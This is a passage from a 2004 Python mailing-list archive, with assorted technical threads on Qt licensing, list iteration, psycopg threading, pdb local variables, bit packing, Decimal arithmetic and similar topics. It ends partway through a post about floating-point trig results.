use free (as in free speech and in > free beer ;-)) software... But I really think that if it was cheaper it Hmmm, but it seems that the main issue you have with Qt is that it's free only if you DO use it on and for free software -- that's what the GPL is all about. If a free-software culture it's OK; in a software=for=money culture it's OK; it seems to grate only on developers who want not to pay for the software they use but still charge for the software they sell. > would be more used. I have bought several software for my PDAs, some > for my old mobile too... > > If I had to pay something like 5 dollars for each copy of the software > or something more expensive for a customized software (e.g. US$ 50.00, > if I sell the product for less than US$ 10,000.00 and more than US$ > 1,000.00, US$ 500.00 if US$ 10,000.00 < my software price < US$ > 100,000.00, etc.) it would be more interesting from a commercial point > of view and would also be easier to include such a cost at the product > price. Personally, I'm extremely happy that the culture of commercial software is moving away from such complicated pricing schemes that were the norm some years ago. The attempt to reflect "what is this sw actually worth to YOU" doesn't work, anyway. I can have a 1000-$ program where, say, Qt's functionality is actually 80% of what I'm doing -- a program that's mostly-GUI... -- and I can have a 10000-$ one where the GUI matters very marginally, say the program is mostly about clever heuristic engines scavenging through DBs and networks and all I want is a little sysadm GUI console on the side for a customer's sysadm to keep an eye on things. > Of course, I'm looking at my side, they found that their business model > is different and I must either accept it or not use it. For now, not > using it -- even liking more the appearance of the widgets -- has been > my choice. It's definitely your choice. I do hope you get some opportunity to do GPL development and try it out, because I think it's really good. > I guess I deviated a lot from the original intention of the post, and > I'm sorry for that. It wasn't my intention. I just wanted to see the > toolkit on the OSs it supports :-) If you're looking for a native appearance on Windows, as I understand things, you won't get it with PyGUI until somebody makes a back-end... Alex From duncan.booth at invalid.invalid Thu Sep 9 04:57:29 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 9 Sep 2004 08:57:29 GMT Subject: Remove items from a list References: <21064255.0409081005.2dadcdb@posting.google.com> Message-ID: PeterAbel at gmx.net (Peter Abel) wrote in news:21064255.0409081005.2dadcdb at posting.google.com: > When you iterate over a list with a for-loop as you do it, > you get a copy of "each" item of the list. What you're doing > is deleting this copy, which is bound to the variable *each*. This explanation is badly wrong. None of the items in the list is copied, nor are any objects (copied or otherwise) being deleted. A new reference is created to each of the items, and that reference is deleted either by the 'del' statement, or when each is rebound or goes out of scope. The objects themselves are deleted only when the last reference to the object is deleted (which doesn't happen here). From __peter__ at web.de Sun Sep 19 08:51:45 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 19 Sep 2004 14:51:45 +0200 Subject: Math errors in python References: <%fa3d.3867$%42.1942@trndny08> Message-ID: Chris S. wrote: >>>Great, why fix what's broken when we can introduce a new module with an >>>inconvenient API. >> >> >> 1. It ain't broken. > > Call it what you will, it doesn't produce the correct result. From where > I come from, that's either bad or broken. If there is a way to always get the "correct" result in numerical mathematics, I don't know it. But I'm not an expert. Can you enlighten me? >> 2. What fraction of the numbers in your programs are constants? > > What? Expressions like a*b+c are not affected by the choice of float/Decimal. Values are normally read from a file or given interactively by a user. I supposed that what you called inconvenient to be limited to decimal constants (Decimal("1.2") vs. 1.2 for floats) and questioned its significance, especially as scientific users will probably continue to use floats. Peter From alban at magproductions.nl Mon Sep 20 11:37:43 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 20 Sep 2004 17:37:43 +0200 Subject: Psycopg and threads problem In-Reply-To: <414ee460$1_2@omega.dimensional.com> References: <414ee460$1_2@omega.dimensional.com> Message-ID: <414EF947.8080308@magproductions.nl> Michael Fuhr wrote: > Alban Hertroys writes: > >>I'm using psycopg to insert records in a number of threads. After the >>threads finish, another thread runs to collect the inserted data. Now, >>my problem is that psycopg let's my threads end before the inserts >>actually took place, resulting in my collecting thread finding no >>records... They are inserted after it checks. > > > I just wrote a small test program and was unable to duplicate your > problem -- the inserting threads ran, then the collecting thread > saw the data. > > Without seeing your code we can only guess at what's wrong. Please > post the simplest program that reproduces the problem. That's going to be difficult, as it is a rather complex system of interwoven threads with XML parsers and such. I tried making a test case myself, but after an hour of programming I wasn't near the actual situation. It probably doesn't help that I don't have any previous experience with either Python or thread programming and that I _need_ a vacation... > What versions of Python, psycopg, and PostgreSQL are you using? > What operating system and version are you running on? Python 2.3 Psycopg 1.0 PostgreSQL 7.4.2 Keep in mind that these are Debian Linux versions, and with their tendency to "touch" things to break it better... ;) >>Is there a way to tell psycopg or python to wait until the insert took >>place? > > In my test program, the inserting threads called conn.commit() and > then exited. I then joined all of the inserting threads before > starting the collecting thread. You could also use a condition > variable to signal when the inserts have been committed. At the moment, I still use commit (it has to go eventually, I need to be able to rollback), but the threads don't end at that point. Instead, they wait until they can insert the next record. This may be the cause of my problem. It's all rather complex; I may be missing something in my own code (of which the base was done by someone else, who can't be reached for a while, to make matters worse). Alban. From jepler at unpythonic.net Tue Sep 28 18:00:43 2004 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Tue, 28 Sep 2004 17:00:43 -0500 Subject: all pairs of items in a list without indexing? In-Reply-To: References: Message-ID: <20040928220043.GB11275@unpythonic.net> On Tue, Sep 28, 2004 at 09:47:32PM +0000, Jim Sizelove wrote: > Steven Bethard wrote: > >So I need to do something like: > > > >for i in range(len(l)): > > for j in range(i+1, len(l)): > > # do something with (l[i], l[j]) > > > >where I get all pairs of items in a list (where I'm thinking of pairs > >as sets, not tuples, so order doesn't matter). There isn't really > >anything wrong with the solution here, but since Python's for-each > >construction is so nice, I usually try to avoid range(len(..)) type > >calls and list indexing when I can... Is there any way to do this > >without indexing > > Are you trying to pair each item in a list with every other > item exactly once? Maybe this code does what you want: > > while len(L)>0: > item1 = L.pop() > for item2 in L: > print (item1, item2) This looks good, as long as the fact that the "item1"s will come out of the list backwards is OK. I'd write 'while L:' instead of your more complicated test, though. def all_pairs(L): while L: i = L.pop() for j in L: yield i, j >>> list(all_pairs(range(5))) [(4, 0), (4, 1), (4, 2), (4, 3), (3, 0), (3, 1), (3, 2), (2, 0), (2, 1), (1, 0)] Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From stephendotboulet at motorola_._com Tue Sep 28 15:51:40 2004 From: stephendotboulet at motorola_._com (Stephen Boulet) Date: Tue, 28 Sep 2004 14:51:40 -0500 Subject: Python on HPUX depot file? Message-ID: I'm looking to install python on hpux 10.2. Anyone know of a site hosting a depot file of a recent python? Thanks. Stephen From jwkenne at attglobal.net Fri Sep 10 21:37:23 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Sat, 11 Sep 2004 01:37:23 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <413f6044.512285562@News.individual.net> <1712.747T640T11304157@kltpzyxm.invalid> Message-ID: Lew Pitcher wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Charlie Gibbs wrote: > [snip] > >>>ObUnix: Max OS X has a "ditto" command that's the same as "cp" only >>>different. >> >> >>Wasn't "ditto" the name of one of those console-driven mainframe >>utilities that would copy anything to anything? > > > IBM 360/370/390... DOS (later DOS/VS, then DOS/VSE, then VSE/SP, then VSE/ESA) > has a batch utility called DITTO, which copies files from device to device. There was also an OS/360 version, but it was never as popular, since A) OS/360 console operators are usually busy enough and B) IEBGENER wasn't all that hard to use. And, yes, there was a similar early program called DEBE. > The closest analog in the pre-Unix and Unix world would be PIP -- John W. Kennedy "Only an idiot fights a war on two fronts. Only the heir to the throne of the kingdom of idiots would fight a war on twelve fronts" -- J. Michael Straczynski. "Babylon 5", "Ceremonies of Light and Dark" From gary.wilson at gmail.com Sun Sep 26 13:13:40 2004 From: gary.wilson at gmail.com (gary) Date: 26 Sep 2004 10:13:40 -0700 Subject: regular expression for integer and decimal numbers References: Message-ID: Peter Hansen wrote in message news:... > Good example of the input. Now all you need to do is tell > us exactly what kind of output you would expect to come > from the routine which you seek. ;-) > > -Peter Well for that particular example something of the form... Cleveland at Cincinnati +8 would be nice ;-) From sbabbitt at commspeed.net Fri Sep 10 09:54:17 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Fri, 10 Sep 2004 06:54:17 -0700 Subject: WxInter References: Message-ID: <1094825049.638700@news.commspeed.net> "Ed Suominen" wrote in message news:IKCdnbjCsZtWd6HcRVn-qQ at centurytel.net... > WxInter is a drop-in replacement for TkInter, providing user-transparent > wxPython-based replacements for each and every part of the Tkinter class > library. Because wxPython can do anything that the ancient and stagnant > TkInter can do (but with a themable, modern window appearance), legacy > code > will still run, looking better than ever, and Python's last connection to > the Tcl/TK albatross will be forever broken. > > OK, I just made all this up. But why couldn't it happen? I'd even be > tempted > to code it myself, but I'm sure others with some wxPython experience could > do it much faster and better. A wxInter library would not promote people to learn wxPython. It seems that the seems that the thing that people like about Tk is the Canvas object has anyone tried the wxFloatCanvas as a replacement. Tom From fluxent at yahoo.com Mon Sep 20 09:53:01 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 20 Sep 2004 06:53:01 -0700 Subject: ezPyCrypto support AES? Message-ID: pyCrypto says it does, but nowhere in the ezPyCrypto docs do I see a reference to it, though I see other protocols specified. From fakeaddress at nowhere.org Tue Sep 14 02:47:08 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 14 Sep 2004 06:47:08 GMT Subject: Microthreads without Stackless? In-Reply-To: <18282ecb.0409120634.5ba044ee@posting.google.com> References: <18282ecb.0409120634.5ba044ee@posting.google.com> Message-ID: M.E.Farmer wrote: > David Mertz covered this. :) > 'Implementing "weightless threads" with Python generators.' > http://gnosis.cx/publish/programming/charming_python_b7.html And, to put it provocatively, David Mertz got it wrong. As Mertz notes, generators can only transfer control to their immediate callers. His solution of always calling them from a scheduler is no solution at all; they still only transfer to their immediate caller, and that caller is further restricted to be the scheduler. Mertz's pattern provides nothing like real co-routines or threads, and the reliance on a scheduler has essentially nothing to do with that. Real co-routines or threads can yield from anywhere. Most importantly, they yield when calling for I/O. The call-depth could be any; the import point is that whenever one routine blocks to wait for an event, other routines can still run. -- --Bryan From jussij at zeusedit.com Tue Sep 14 19:24:16 2004 From: jussij at zeusedit.com (Jussi Jumppanen) Date: Wed, 15 Sep 2004 09:24:16 +1000 Subject: Ranting about the state of Python IDEs for Windows References: <0aidne7t9Or0k9rcRVn-qw@giganews.com> Message-ID: <41477DA0.2285@zeusedit.com> On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea >> My search for a good IDE ended years ago when I started learning >> C++, and found EditPlus, http://www.editplus.com/ -- $30, free >> 30 day trial > > Reading your feature list, it seems to be missing project management, > or to put it simply, to be able to track down what files are part of > the project without the need to actually walk around the directory > tree to hunt them down. I'll check it out, nonetheless. Take a look at the Zeus for Windows programmers editor: http://www.zeusedit.com/lookmain.html Zeus has a full project/workspace manager and supports Python, C/C++ and almost any other programming language. Some of the other programming features include: + Code completion and intellisensing + Integrated class browser + Fully configurable syntax highlighting + Seamless FTP editing + Integrated version control using the Microsoft Source Code Control (SCC) interface, including CVS integration. + Quick Help context sensitive help engine + Fully scriptable using Python Jussi Jumppanen http://www.zeusedit.com From M.Waack at gmx.de Tue Sep 28 16:34:24 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 28 Sep 2004 22:34:24 +0200 Subject: Python on HPUX depot file? References: Message-ID: Stephen Boulet wrote: > I'm looking to install python on hpux 10.2. Anyone know of a site > hosting a depot file of a recent python? Thanks. Yes, HP has a large archive of precompiled open source packages. Don't know the exact URL, but a search on the HP homepage should help you. Most packages are available for both HP-UX 11i and 10. Mathias From ad at astral-on.net Fri Sep 24 10:07:12 2004 From: ad at astral-on.net (Andrew Degtiariov) Date: Fri, 24 Sep 2004 17:07:12 +0300 (EEST) Subject: Bulding python module using C In-Reply-To: References: <20040924134408.GE99980@astral-on.net> Message-ID: <20040924140712.GG99980@astral-on.net> On Fri, Sep 24, 2004 at 03:01:08PM +0100, Michael Hoffman wrote: > >Traceback (most recent call last): > > File "test.py", line 6, in ? > > n.first = 'test' > >TypeError: can't set attributes of built-in/extension type 'noddy3.Noddy' > > > >Where was i wrong? > > You are trying to set an attribute on the type instead of an *instance* > of the type. > > >n = noddy3.Noddy > > n = noddy3.Noddy() Yes, you right. It is stupid for my self, sorry :-( -- Andrew Degtiariov DA-RIPE From newsreply at transfertech.de Thu Sep 30 09:33:06 2004 From: newsreply at transfertech.de (Axel Mittendorf) Date: Thu, 30 Sep 2004 15:33:06 +0200 Subject: thread execution order Message-ID: Hi, I have an app that writes text messages into a pipe and reads it out. Other programs write into this pipe too. Sometimes the pipe is full and my app freezes if it wants to write in that moment. It is not an option for me to open the pipe with O_NONBLOCK, so I thought I could use threads. Always when something shall be written into the pipe a new thread is created. These threads may hang on os.write, but they'll write out the data ASAP. See the example below (I substituted os.write with lock.acquire(1)). But if the pipe was full, three threads were created (all hang on os.write) and now the pipe is emptied, which one will write its data at first? The threads ordered by the time of thier creation (first no 1 then no 2,3,4 ... n) or just one of them (not ordered, maybe no4 then no1 and then no3)? I ask this since the order of the messages is important. # little example import threading class TO(object): def __init__(self): self.lock = threading.Lock() self.lock.acquire(0) def dowrite(self,s): self.lock.acquire(1) # this should be a blocking os.write print "dowrite:",s self.lock.release() def write(self,s): print "write:",s t = threading.Thread(target= self.dowrite,args=(s,)) t.start() to = TO() to.write("one") to.write("two") to.write("three") to.lock.release() TIA, Axel Mittendorf From grante at visi.com Fri Sep 10 13:40:02 2004 From: grante at visi.com (Grant Edwards) Date: 10 Sep 2004 17:40:02 GMT Subject: python and bit shifts and byte order, oh my! References: <9490d.126$KA1.1800@news1.mts.net> Message-ID: <4141e6f2$0$67058$a1866201@newsreader.visi.com> On 2004-09-10, Reid Nichol wrote: >> CPUs differ in the way integers are stored in memory. But the shift >> operators of the CPU are implemented to work on logical integers in >> registers, not on consecutive bytes in memory. > > I'm wondering because the file format I'm trying to write uses > bit-packing, so I need to be able to write, for example, a 5 bit integer > to the disk. I presume by "to disk" you mean to a file in a filesystem. You can't do that under any OS and filesystem with which I'm familiar. You can only write an integral number of bytes to a file. You can only write an integral number of blocks to disk (a block is 512 bytes, typically) > I do think regardless of language I'm going to have an unfun > time doing this. But, since cross platform is a want > approching a need, I'd like to use Python. > > Would getting a specific bit from the integer be the same or > would I have to worry about the byte-order? You only have to worry about byte order when reading/writing binary objects from/to a file. > ie Would: > x & SOMEBIT > be portable? Yes, that's portable. The code that writes x to a file and reads it from a file is what you have to worry about. -- Grant Edwards grante Yow! Put FIVE DOZEN red at GIRDLES in each CIRCULAR visi.com OPENING!! From adurdin at gmail.com Fri Sep 10 00:31:23 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 10 Sep 2004 14:31:23 +1000 Subject: attribute assignment effects all class instances In-Reply-To: <10k23djai73gad2@corp.supernews.com> References: <090920041659242407%anon@anon.net> <10k23djai73gad2@corp.supernews.com> Message-ID: <59e9fd3a040909213110d43216@mail.gmail.com> On Thu, 09 Sep 2004 19:14:20 -0700, Jeff Shannon wrote: > And since others have already told you *why* you're having a problem, > I'll limit myself to showing you one possible way around that problem. And for another way around: just change the line in __init__ from self.adjacent = adjacent To self.adjacent = list(adjacent) This will alter the overall behaviour -- the new node will always make a copy of the list. An example is best to show the difference. Suppose you have the following code: adj = [node1, node2, node3, node4] newnode1 = node(adjacent=adj) newnode2 = node(adjacent=adj) ... # Some other irrelevant code newnode2.adjacent[left] = node5 With Jeff's solution (and your original), newnode1.adjacent will also have changed, so will be [node1, node5, node3, node4]. With the solution above which copies the list, newnode1 will not have changed. The solution you should use depends on what behaviour you want for this situation. From golux at comcast.net Sat Sep 25 20:54:16 2004 From: golux at comcast.net (Stephen Waterbury) Date: Sat, 25 Sep 2004 20:54:16 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: <41561338.3090301@comcast.net> (sorry, this looked like too much fun ... :) Terry Reedy wrote: > "Ville Vainio" wrote in message > >>A thing like "probability" just can't exist in the ultimate Reality. What makes you so sure that "ultimate Reality" is a well-formed (logically consistent) concept? QM may be the ultimate framework for an observer/observable-based theory of physics, and since the observer/observable paradigm is fundamental to science, it might be "as good as it gets", in which case an "ultimate reality" that is meaningful in the context of the scientific method might well require probability. Of course, if you want to transcend observer/observable, you have to go beyond science, and into the realm of "Cosmajoonity" (see Freeman Dyson's delightful book "Disturbing the Universe" :). Steve From fumanchu at amor.org Wed Sep 22 18:28:22 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 15:28:22 -0700 Subject: OT: regex to find email Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EFF@exchange.hqamor.amorhq.net> Fredrik Lundh wrote: > Jorgen Grahn wrote: > > I've seen no references to RFC 2822 in this thread ... > > please note that what > > all these regexes catch is unlikely to be exactly the set > > of all valid RFC > > 2822 addresses. > > ... > what morally sound reasons are there to scrape mail addresses > from text documents, btw? One would be to take user-supplied web page content, search for email addresses, and automatically enclose them in mailto hyperlinks. Robert Brewer MIS Amor Ministries fumanchu at amor.org From ivoras at __-geri.cc.fer.hr Sat Sep 18 17:57:23 2004 From: ivoras at __-geri.cc.fer.hr (Ivan Voras) Date: Sat, 18 Sep 2004 23:57:23 +0200 Subject: XML_RPC and unicode problems In-Reply-To: <414b2ea8$0$6335$9b622d9e@news.freenet.de> References: <7bf84d19.0409161548.521da358@posting.google.com> <414A8659.7080902@v.loewis.de> <414b2ea8$0$6335$9b622d9e@news.freenet.de> Message-ID: Martin v. L?wis wrote: > Binary data and XML-RPC > has a long and confusing history. Why is that? There's for data that's expected to be binary[*], and for everything else that's valid under chosen encoding. [*] obviously, aside from truly binary data, also for anything not valid in current encoding. From pfortin at pfortin.com Fri Sep 10 11:40:48 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 11:40:48 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> Message-ID: <20040910114048.4c68a21c@gypsy.pfortin.com> On Fri, 10 Sep 2004 16:34:31 +0200 Alex wrote: > Pierre Fortin wrote: > > PS: Here's the latest incarnation of the test script... for me, the > > "voodoo" part is > > self.__dict__.update(locals()) > > Ah, sorry, my favourite idiom to avoid the boilerplate of > > def __init__(self, fee, fie, foo, fum): > self.fee = fee > self.fie = fie > self.foo = foo > self.fum = fum > > Boilerplate is bad, and I'm keen on "Once, and ONLY once!" as a > programming practice, so having to mention each of those names three > times in totally repetitive ways makes me shiver. My favourite idiom I fully agree with "once and ONLY once"... but you've pointed out that "not-at-all is better than once"... :^) > does, per se, leave a silly self.self around (which means a silly > reference loop) so I should remember to 'del self.self' after it... Since "self" is a convention (could use "this"), t'would be nice if Python could avoid foo.foo ref. loops in a future release... > > map = dict(Date=Date, > > Open=float(Open), > > High=float(High), > > Low=float(Low), > > Close=float(Close), > > Volume=int(Volume), > > AdjClose=float(AdjClose), > > Change=change[int(float(AdjClose) >= float(Open)) + > > int(float(AdjClose) == float(Open))] > > ) > > I could suggest some deboilerplatization here, too, but maybe that would > be pushing things too far... Hey! You're on a roll and I'm open for more abu... er education if this isn't an imposition... :^) > No, print itself has nothing to do with it; % is left associative, so Of course.... lack of sleep triggered that faulty logic... > Come to think of that, you SHOULD hoist the "real format" out of the > loop, That's a given in my book... :> > it IS a Python oddity that True+False > equals 1;-). That's OK with me... it was True+True equals *1* (OR v. +) that forced me to wrap them with int()'s Take care, Pierre From dave at boost-consulting.com Wed Sep 1 13:41:09 2004 From: dave at boost-consulting.com (David Abrahams) Date: 1 Sep 2004 10:41:09 -0700 Subject: negative stride list slices Message-ID: <8a638f47.0409010941.7f1cbbad@posting.google.com> Can anyone explain the logic behind the behavior of list slicing with negative strides? For example: >>> print range(10)[:-3:-1] [9,8] I found this result very surprising, and would just like to see the rules written down somewhere. Thanks, -- Dave Abrahams Boost Consulting http://www.boost-consulting.com From ialbert at mailblocks.com Thu Sep 2 18:50:43 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 02 Sep 2004 18:50:43 -0400 Subject: A little stricter type checking In-Reply-To: References: Message-ID: <7KOdnZk2QpVaPqrcRVn-og@giganews.com> Tongu? Yumruk wrote: > I have a little proposal about type checking in python. This proposal comes up very often. I've been around in c.l.py for only about a year now but I saw it proposed what seems like on a monthly basis. When I started using python I was worried about ending up with nasty errors based on inappropriate function calls. In practice ,it turns out, in python I almost never make the kind of errors that this type-checking would catch... Istvan. From ptmcg at austin.rr._bogus_.com Sat Sep 4 17:23:21 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 04 Sep 2004 21:23:21 GMT Subject: docs on for-loop with no __iter__? References: Message-ID: "Andrew Dalke" wrote in message news:bMp_c.7491$w%6.1810 at newsread1.news.pas.earthlink.net... > > Looking at the language reference from CVS, I found > http://www.python.org/dev/doc/devel/ref/for.html > > It states > > ] The suite is then executed once for each item in > ] the sequence, in the order of ascending indices. > > That implies the sequence is indexed, yes? But if > the sequence implements __iter__ then there's no > possibly no underlying idea of 'index'. > > Should this be fixed? > > Andrew > dalke at dalkescientific.com Section 7.3 (from the link given above) gives the syntax for "for" as: for_stmt ::= "for" target_list "in" expression_list ":" suite ["else" ":" suite] and then begins describing the component syntax elements as, "The expression list is evaluated once; it should yield a sequence." This seems to be a bit dated, since expression_list could also be a generator or iterator. Additionally, "for" uses an adaptive method to try to simulate an iterator if no __iter__ method is provided, by successively calling __getitem__ until IndexError is raised (this error gets silently absorbed within this pseudo-iterator). Here is a simple test class: (I also implemented __len__ thinking that it would be used to limit the calls to __getitem__, but we can see from the output that it is never called - instead __getitem__ gets called one time too many, telling the pseudo-iterator that there are no more entries). class A(object): def __init__(self,lst): self.list_ = lst[:] def __len__(self): print self.__class__.__name__+".__len__" return len(self.list_) def __getitem__(self,i): print self.__class__.__name__+".__getitem__" return self.list_[i] class A_with_iter(A): def __iter__(self): print self.__class__.__name__+".__iter__" return iter(self.list_) for cls in (A, A_with_iter): a = cls([1,2,3]) print "iterate over %s" % cls.__name__ for i in a: print i print output: iterate over A A.__getitem__ 1 A.__getitem__ 2 A.__getitem__ 3 A.__getitem__ iterate over A_with_iter A_with_iter.__iter__ 1 2 3 Note that this is the basis for the recently reported bugs in email.Message and cgi.FieldStorage. email.Message does not implement __iter__, and its __getitem__ method assumes that items will be retrieved like keyed dictionary lookups, not using integer sequence access. So when __getitem__ calls .lower() on the input string, Python throws an error - you can't do lower() on an int. > >>> em = email.message_from_file(open('MAILMESSAGE')) > >>> for i in em: > ... print i > ... > Traceback (most recent call last): > File "", line 1, in ? > File "/usr/lib/python2.3/email/Message.py", > line 304, in __getitem__ > File "/usr/lib/python2.3/email/Message.py", > line 370, in get > AttributeError: 'int' object has no attribute 'lower' -- Paul From claird at lairds.us Thu Sep 30 00:08:07 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 30 Sep 2004 04:08:07 GMT Subject: Social Analysis and Modeling for Python References: Message-ID: In article , Bishara Gabriel wrote: >Marxian class analysis is particularly suited to this demonstration but >in our demonstration model we will operate from multiple theoretical >constructs, displaying the power of our method. The intent is to show >how Python is well suited to social analysis and not the other way >around. I hope this is clear. > >What particular realms are you referring to when you speak of adding value? . . . >>I am sure Python can be a great tool, but why no citations re existing >>"social models" that you mention? If you propose to "... show >>how social models can be mentally approached in such a way that there >>exists a one-to-one correlation between their theoretical model and the >>Python equivalent," ISTM your proposal would sound more concrete if you >>pointed to a specific "theoretical model" as your choice for a >>how-to-do-it-with-Python demonstration. >> >>Also citations of related work, and why your project adds value (besides >>advertising our favorite language ;-) . . . "add value" is a fixed phrase in many engineering, business, and academic (among other) circles. When, for example, children combine sugar, ice, lemon juice, and water, in a particular pleasing combination, and offer it for sale on a wearying day, we recognize their achievement as creation of "lemonade". They do not merely transfer raw materials to their customers; they provide a product which transcends its constituents. We say they have "added value" to the base commodities, rather than mechanically moving them through space and/or time. Analogously, I echo Bengt's challenge to you to make explicit the value you intend to add: what hope is there that your project will be more than a mere formal manipulation of its constituents--sociologic theory and Python technique? Will you accomplish anything--will you add value--beyond what any attentive student given the instructions to apply Python to sociology might do? I don't know what Marxian class analysis is particularly suited to this demonstration but in our demonstration model we will operate from multiple theoretical constructs, displaying the power of our method. The intent is to show how Python is well suited to social analysis and not the other way around. means. I recognize that it might fit several situations. I sincerely don't know which you intend. I myself once had a strong theoretical, and even dialectical, bent. Through the years, I've nearly monotonically gravitated toward the concrete. I recommend it to you. Demonstrate how your theory or approach solves *one* specific problem. With that in hand, your readers will be much, MUCH readier to apprehend the generalizations you appear to have in mind. From aleaxit at yahoo.com Tue Sep 14 08:44:51 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 14:44:51 +0200 Subject: debug build: import problem References: Message-ID: <1gk3y7a.cciinh1533cy1N%aleaxit@yahoo.com> benevilent at optusnet.com.au wrote: > Hey, > > I have made a Python build with the flag --with-pydebug. When I try to > import modules such as NumPy's multiarray.so, I get errors like the > following: Have you built and installed NumPy _with the specific build of Python you're trying to use it from_? It doesn't look like you have, and that might explain the symptoms you observe. > I presume this means that a debug build of python uses a different > function for initialising a python module. Is it possible to avoid the > situation where each module not included within the Python distribuition > requires explicit support such that it can be used with a debug build of > Python? In general, each module which is a Python extension may require you to build it with the specific version of Python you want to use it with. There may be specific tricks that work on a given platform to let you bypass this normal requirement in some cases, I guess. Alex From richie at entrian.com Fri Sep 17 09:59:15 2004 From: richie at entrian.com (Richie Hindle) Date: Fri, 17 Sep 2004 14:59:15 +0100 Subject: changing local variable values in python debugger In-Reply-To: References: <414AE09D.3050607@bellsouth.net> Message-ID: [Richie] > Setting the value of a local variable works, but *examining* the value resets > it to whatever it was when you arrived at the current pdb prompt. It's a bug, > either in pdb or in Python's core debugger support depending on how you look > at it. I've been meaning to try to fix this for ages, but haven't found the > time to figure out how to do so. For those interested in the details, here's what I can remember from the last time I looked at it: when you access frame.f_locals, Python calls PyFrame_FastToLocals to go from the locals tuple to a dictionary. When you leave the context of a trace function, it calls PyFrame_LocalsToFast to write back any changes to the dictionary into the tuple. But the act of accessing a value via frame.f_locals within a call to the trace function will overwrite any changes by calling PyFrame_FastToLocals a second time, repopulating the potentially-modified f_locals dictionary from the original locals tuple. Either pdb needs to take a copy of f_locals at the start of a trace function and never access frame.f_locals again, ensuring that PyFrame_FastToLocals only ever gets called once, or Python itself needs to make sure it doesn't call PyFrame_FastToLocals more than once per call to the trace function. The former is easier, but only fixes pdb. I suspect the latter is hard, but it would fix all the Python debuggers in one go. All of this is wrapped in a big caveat: it's all dredged out of years-old memory and could be completely wrong, either because my memory is poor (and believe me, it is 8-) or because things have changed since I last looked at all this. -- Richie Hindle richie at entrian.com From jacek.generowicz at cern.ch Wed Sep 29 03:13:33 2004 From: jacek.generowicz at cern.ch (Jacek Generowicz) Date: 29 Sep 2004 09:13:33 +0200 Subject: Metaclass with name overloading. References: <1gktuz9.1ww1usisimxlgN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > Jacek Generowicz wrote: > ... > > > No, you can't, and it's not just a parser issue. Python uses > > > direct C calls to the native dict type. It's hard coded, > > > > I feared this would be the case. > > It's not (not in 2.4 at least) For what definition of "hard coded" ? > -- the STORE_NAME is quite ready to find a non-dict as the frame's > f_locals. The problem is getting your object to be used as the > frame's f_locals in the first place -- hard but that only affects a > few spots in ceval.c. So, from the perspective of trying to code it in pure Python, it _is_ hard coded, IIUC. (Unfortunately, I cannot afford the luxury of playing with the Python implementation itself; I must deliver code which works with a bog-standard Python 2.3.4. I'd love to have the time to play with ceval.c on my own account ... but that is another luxury I cannot afford :-( ) From fumanchu at amor.org Mon Sep 20 16:05:27 2004 From: fumanchu at amor.org (Robert Brewer) Date: Mon, 20 Sep 2004 13:05:27 -0700 Subject: How does this function work? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF3@exchange.hqamor.amorhq.net> Jp wrote: > >>> def f(y): > ... return [x for x in range(3), 1, y for y in range(4), 4] > ... > >>> f(3) > [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3] > >>> > > I've been staring at it for 15 minutes and I'm no closer to > understanding than when I started. > > Why is this even legal Python syntax? What is going on > that makes it return what it does? A couple of parentheses might get you started. Your function is exactly the same if you write: >>> def g(y): ... return [x for x in (range(3), 1, y) for y in (range(4), 4)] >>> f.func_code.co_code == g.func_code.co_code True So your statement is being parsed as a single compound listcomp. Expanding the listcomp produces: >>> def h(y): ... r = [] ... for x in (range(3), 1, y): ... for y in (range(4), 4): ... r.append(x) ... return r ... >>> h(3) [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3] Further, (range(4), 4) evaluates to ([0, 1, 2, 3], 4); that is, a two-item list. Since neither is referenced in the inner loop, we can simply say the inner loop runs twice for each iteration of the outer loop. Therefore, every value in the outer loop is doubled as you can see. HTH, Robert Brewer MIS Amor Ministries fumanchu at amor.org From cmetzler at speakeasy.snip-me.net Mon Sep 20 18:13:06 2004 From: cmetzler at speakeasy.snip-me.net (Chris Metzler) Date: Mon, 20 Sep 2004 18:13:06 -0400 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? Message-ID: I'm getting some extremely odd results using the trig functions in the math module. I don't know whether there's a bug here, or (more likely) I'm just missing something. They kinda look like problems I'd see with truncation/roundoff errors, but they're occurring for larger values of the floating point exponent than 